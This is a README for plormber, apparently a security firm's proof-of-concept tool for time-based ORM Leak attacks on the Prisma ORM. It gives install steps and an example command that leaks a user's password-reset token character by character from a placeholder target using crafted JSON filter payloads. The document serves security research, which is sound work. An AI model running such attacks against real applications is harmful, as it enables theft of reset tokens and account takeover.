A proof-of-concept tool for exploiting ORM Leak time-based vulnerabilities. The features of this tool are currently very limited, but can be used to quickly implement a time-based ORM Leak attack.
See the accompanying blog article for an overview on how plormber works.
Feel free to fork this project for further development as long that you acknowledge elttam as the original creators.
- Time-based exploitation of
prisma - SDK for developing ORM leak exploits
Virtual environment install
# For installing to a virtual environment
python3 -m venv venv
source venv/bin/activate
# Install plormber
pip install .Docker install
docker compose buildVirtual environment
plormber --helpDocker
docker compose run --rm plormber --helpPrisma time-based attack with payloads as arguments
plormber prisma-contains \
--chars '0123456789abcdef' \
--base-query-json '{"query": {PAYLOAD}}' \
--leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
--contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
--verbose-stats \
https://some.vuln.app/articles/time-based;See CUSTOM_ATTACKS.md for documentation about implementing custom plormber attacks
- More exploitation methods.
- Burp Suite plugin